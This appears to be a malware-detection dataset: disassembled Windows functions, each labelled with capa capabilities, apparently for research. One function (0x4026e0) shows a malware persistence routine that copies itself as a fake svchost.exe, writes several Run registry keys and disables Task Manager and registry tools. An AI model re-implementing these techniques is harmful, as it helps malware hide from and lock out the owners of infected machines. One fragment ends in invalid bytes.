joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407890
Capabilities:
Compare security identifiers
Enumerate processes on remote desktop session host

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x425ede
mov eax, dword fs:[0]
push eax
sub esp, 0x98
mov eax, dword [0x434280]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
push esi
push edi
mov eax, dword [0x434280]
xor eax, esp
push eax
lea eax, [esp + 0xa8]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [esp + 0x1c], ebx
mov eax, dword [ebx + 0xc0]
test eax, eax
jne 0x407a95
mov dword [esp + 0x20], eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x24]
push eax
push 1
push 0
push 0
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesW]
test eax, eax
jne 0x40792d
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x407918
movzx eax, ax
or eax, 0x80070000
push eax
push 0x90
mov edx, str.Environment::GetActiveUserToken
mov ecx, str.environment.cpp
call fcn.00404e60
lea eax, [esp + 0x3c]
mov ecx, ebx
push eax
call fcn.00407270
mov dword [esp + 0xb0], 0
lea edi, [eax + 4]
mov dword [esp + 0x14], edi
mov dword [esp + 0xb0], 0xffffffff
lea ecx, [esp + 0x3c]
call fcn.00401700
mov ebx, dword [esp + 0x34]
dec ebx
test ebx, ebx
jle 0x407a93
mov esi, ebx
shl esi, 4
mov eax, dword [esp + 0x20]
mov eax, dword [esi + eax + 0xc]
test eax, eax
je 0x407a87
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x407a87
mov eax, dword [esp + 0x20]
push dword [esi + eax + 4]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [esp + 0x18], edi
mov dword [esp + 0xb0], 1
test edi, edi
jne 0x4079cb
mov dword [esp + 0xb0], 0xffffffff
jmp 0x407a83
mov dword [esp + 0x24], vtable.ATL::CAccessToken.0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov byte [esp + 0xb0], 2
lea eax, [esp + 0x38]
push eax
push 0xb
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x407a58
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x24]
call dword [eax + 4]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x28], eax
call fcn.00407cc0
test al, al
je 0x407a35
mov ecx, dword [esp + 0x28]
call fcn.00407710
cmp eax, 0x2000
jne 0x407a58
mov eax, dword [esp + 0x1c]
add eax, 0xc0
push eax
push 1
push 3
push 0
push 0x2000000
push dword [esp + 0x3c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x407ab9
mov byte [esp + 0xb0], 1
lea ecx, [esp + 0x24]
call fcn.00408c10
mov dword [esp + 0xb0], 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x18], 0
mov edi, dword [esp + 0x14]
dec ebx
sub esi, 0x10
test ebx, ebx
jg 0x407971
xor eax, eax
mov ecx, dword [esp + 0xa8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.0040b29c
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1c]
mov esi, dword [ecx + 0xc0]
mov byte [esp + 0xb0], 1
lea ecx, [esp + 0x24]
call fcn.00408c10
mov dword [esp + 0xb0], 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x18], 0
mov eax, esi
jmp 0x407a95
Function at 0x407da0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42605f
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x434280]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0xec], esi
mov dword [esi], vtable.ATL::CAccessToken.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [ebp - 4], 0
mov edx, 3
lea ecx, [ebp - 0xd8]
call fcn.00401930
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd0]
push ecx
mov ecx, dword [eax]
call fcn.00407270
mov ebx, eax
mov dword [ebp - 0xe4], ebx
mov byte [ebp - 4], 2
mov edx, 3
lea ecx, [ebp - 0xe0]
call fcn.00401930
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
push ecx
mov ecx, dword [eax]
call fcn.00407110
mov ecx, eax
mov dword [ebp - 0xe8], ecx
mov byte [ebp - 4], 4
lea eax, [ecx + 4]
test eax, eax
je 0x407ea7
lea edi, [ebx + 4]
test edi, edi
je 0x407ea7
cmp byte [ecx + 0x48], 0
je 0x407ea7
mov ebx, dword [sym.imp.ADVAPI32.dll_IsValidSid]
push eax
call ebx
test eax, eax
setne al
test al, al
je 0x407ea7
mov eax, dword [ebp - 0xe4]
cmp byte [eax + 0x48], 0
je 0x407ea7
push edi
call ebx
test eax, eax
setne al
test al, al
je 0x407ea7
mov eax, dword [ebp - 0xe8]
push edi
add eax, 4
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne bl
jmp 0x407ea9
xor bl, bl
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.00401700
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0xdc]
dec dword [eax]
jne 0x407ef5
mov edi, dword [ebp - 0xe0]
test edi, edi
je 0x407ee7
mov ecx, edi
call fcn.00403820
push edi
call fcn.0040b297
add esp, 4
mov dword [ebp - 0xe0], 0
push dword [ebp - 0xdc]
call fcn.0040b297
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd0]
call fcn.00401700
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xd4]
dec dword [eax]
jne 0x407f44
mov edi, dword [ebp - 0xd8]
test edi, edi
je 0x407f36
mov ecx, edi
call fcn.00403820
push edi
call fcn.0040b297
add esp, 4
mov dword [ebp - 0xd8], 0
push dword [ebp - 0xd4]
call fcn.0040b297
add esp, 4
test bl, bl
je 0x407f64
push str.Process_is_already_impersonated
push 0x12d
push str.ScopedImpersonation::ScopedImpersonation
call fcn.00409310
add esp, 0xc
jmp 0x407ff2
mov edx, 3
lea ecx, [ebp - 0xd8]
call fcn.00401930
mov byte [ebp - 4], 5
mov ecx, dword [eax]
call fcn.00407890
mov dword [esi + 4], eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xd4]
dec dword [eax]
jne 0x407fc2
mov edi, dword [ebp - 0xd8]
test edi, edi
je 0x407fb4
mov ecx, edi
call fcn.00403820
push edi
call fcn.0040b297
add esp, 4
mov dword [ebp - 0xd8], 0
push dword [ebp - 0xd4]
call fcn.0040b297
add esp, 4
mov ecx, esi
call fcn.00408470
test al, al
jne 0x407ff2
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x407fdf
movzx eax, ax
or eax, 0x80070000
push eax
mov edx, 0x133
mov ecx, str.ScopedImpersonation::ScopedImpersonation
call fcn.004093a0
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b29c
mov esp, ebp
pop ebp
ret
Function at 0x409ff0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
call fcn.00422e3c
add esp, 4
mov edi, eax
push dword [ebp + 0x10]
call fcn.00422e3c
add esp, 4
mov esi, eax
xor ebx, ebx
mov dword [ebp - 0x20], esi
test edi, edi
je 0x40a04b
test esi, esi
je 0x40a04b
push dword [ebp + 0x1c]
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
mov eax, dword [eax + 0x30]
push esi
push edi
push ebx
push dword [ebp + 8]
call eax
or eax, edx
jne 0x40a050
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x40a050
mov ebx, 8
mov eax, dword [ebp - 4]
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov eax, dword [eax]
test eax, eax
je 0x40a188
test edi, edi
je 0x40a195
test byte [eax + 0x18], 8
je 0x40a0ed
lea eax, [ebp - 0x1c]
mov dword [ebp - 8], 0
push eax
push edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40a0ed
push eax
call fcn.0040c753
mov esi, eax
add esp, 4
test esi, esi
je 0x40a0ed
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
push edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x40a0e4
lea eax, [ebp - 0x24]
mov dword [ebp - 0xc], 0x5c
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x40a0d0
mov dword [ebp - 8], eax
jmp 0x40a0e4
mov eax, dword [ebp - 8]
xor edx, edx
add edx, dword [eax + 0xc]
mov ecx, dword [eax + 8]
adc ecx, 0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
push esi
call fcn.0040b4d0
add esp, 4
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x270]
push eax
push dword [ebp + 0x18]
mov esi, str._unknown_
push dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.0040a1e0
test eax, eax
je case.0x40a119.7
mov eax, dword [ebp - 0x250]
cmp eax, 9
ja case.0x40a119.7
jmp dword [eax*4 + 0x40a1b0]
mov esi, str._nosymbols_
jmp case.0x40a119.7
mov esi, str.COFF
jmp case.0x40a119.7
mov esi, 0x42f85c
jmp case.0x40a119.7
mov esi, 0x42f860
jmp case.0x40a119.7
mov esi, str._exported_
jmp case.0x40a119.7
mov esi, str._deferred_
jmp case.0x40a119.7
mov esi, 0x42f87c
jmp case.0x40a119.7
mov esi, str.Virtual
jmp case.0x40a119.7
mov esi, 0x42f888
push dword [ebp - 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x12c]
push dword [ebp - 0x18]
push edx
mov ecx, dword [eax]
push esi
push ebx
push dword [ebp + 0x1c]
mov eax, dword [ecx]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [eax + 8]
mov esi, dword [ebp - 0x20]
test edi, edi
je 0x40a195
push edi
call fcn.0040b4d0
add esp, 4
test esi, esi
je 0x40a1a2
push esi
call fcn.0040b4d0
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x41b247
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x434280]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0041349c
mov dword [ebp - 0x14], eax
cmp dword [0x43650c], esi
jne 0x41b33a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41b2c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b41a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41b41a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b41a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43650c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x436510], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x436514], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43651c], eax
test eax, eax
je 0x41b337
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x436518], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b35f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41b352
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41b374
push 4
pop eax
jmp 0x41b41c
cmp dword [ebp - 0x14], esi
je 0x41b374
push dword [0x43650c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41b359
mov eax, dword [0x436518]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41b3d2
cmp dword [0x43651c], edi
je 0x41b3d2
push eax
call ebx
push dword [0x43651c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b3d2
test eax, eax
je 0x41b3d2
call ecx
test eax, eax
je 0x41b3c7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b3c7
test byte [ebp - 8], 1
jne 0x41b3d2
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41b402
mov eax, dword [0x436510]
cmp eax, edi
je 0x41b3ff
push eax
call ebx
test eax, eax
je 0x41b3ff
call eax
mov esi, eax
test esi, esi
je 0x41b3ff
mov eax, dword [0x436514]
cmp eax, edi
je 0x41b3ff
push eax
call ebx
test eax, eax
je 0x41b3ff
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43650c]
call ebx
test eax, eax
je 0x41b41a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41b41c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b29c
mov esp, ebp
pop ebp
ret
Function at 0x402abc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401bc0
or byte [eax + 0x2ff845c6], ah
invalid
Function at 0x40bb9d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40bba7
repz ret
jmp fcn.0040bf1f

Function at 0x5e79b1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x5e79cc
add esi, 0x1000
lea eax, [ebp - 0x2bc]
push edx
push 0x1c
push eax
push esi
call dword [edx + 0x124acbf1]
pop edx
test eax, eax
je 0x5e7a9e
cmp dword [ebp - 0x2ac], 0x1000
jne 0x5e7a8d
test dword [ebp - 0x2a8], 1
jne 0x5e7a8d
and dword [ebp - 0x2a8], 0x100
jne 0x5e7a8d
push esi
push edx
push 4
push esi
call dword [edx + 0x122d2b7c]
pop edx
pop esi
test eax, eax
je 0x5e7a30
jmp 0x5e7a8d
cmp word [esi], 0x5a4d
jne 0x5e7a8d
mov eax, esi
push ebx
mov ebx, dword [esi + 0x3c]
add eax, ebx
pop ebx
cmp dword [eax], 0x4550
jne 0x5e7a8d
lea eax, [ebp - 0x28c]
push edx
push 0x28a
push eax
push esi
call dword [edx + 0x122d2e2c]
pop edx
test eax, eax
je 0x5e7a8d
lea eax, [ebp - 0x28c]
push eax
call fcn.005e790d
test eax, eax
jne 0x5e7a86
jmp 0x5e7a8d
mov eax, esi
jmp 0x5e7a9e
mov esi, dword [ebp - 0x2b0]
add esi, dword [ebp - 0x2bc]
jmp 0x5e79cc
pop esi
leave
ret 4
Function at 0x4018c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40197c
cmp byte [esi + 0x3d], 0
je 0x40197c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40196a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x401931
sub eax, 1
je 0x401935
sub eax, 2
jne 0x40196a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a4
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401953
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40196a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a4
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004032a4
mov esp, ebp
pop ebp
ret
Function at 0x4026e0
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
push 0x103
push eax
mov dword [ebp - 0x110], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
nop dword [eax]
mov cl, byte [eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x402720
mov ecx, dword [0x4053b4]
mov dword [eax], ecx
mov ecx, dword [0x4053b8]
mov dword [eax + 4], ecx
mov cl, byte [0x4053bc]
mov byte [eax + 8], cl
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x108]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402760
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x4053c4]
mov dword [ecx + 4], eax
mov eax, dword [0x4053c8]
mov dword [ecx + 8], eax
mov al, byte [0x4053cc]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004032a4
mov esp, ebp
pop ebp
ret
Function at 0x402d20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x402d41
jl 0x402d37
test esi, esi
jne 0x402d41
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402d58
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
pop ebp
ret 0xc
push edi
mov edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x402d8e
cmp eax, dword [ebp + 0xc]
mov ecx, ebx
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push esi
push eax
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [ebp + 8], esi
add esp, 0xc
mov ecx, ebx
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x402dfd
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x402db6
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x402deb
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x402dfd
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x402dc5
test ecx, ecx
je 0x402dfd
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
pop ebp
ret 0xc
Function at 0x402e10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x402e35
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x402ea0
jg 0x402e5b
test esi, esi
je 0x402ea0
test ecx, ecx
jl 0x402eda
jg 0x402e65
test eax, eax
je 0x402eda
cmp edi, ecx
jg 0x402e75
jl 0x402e6f
cmp esi, eax
jae 0x402e75
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x402ec7
jg 0x402ead
test esi, esi
je 0x402ec7
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x402ec7
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x402ead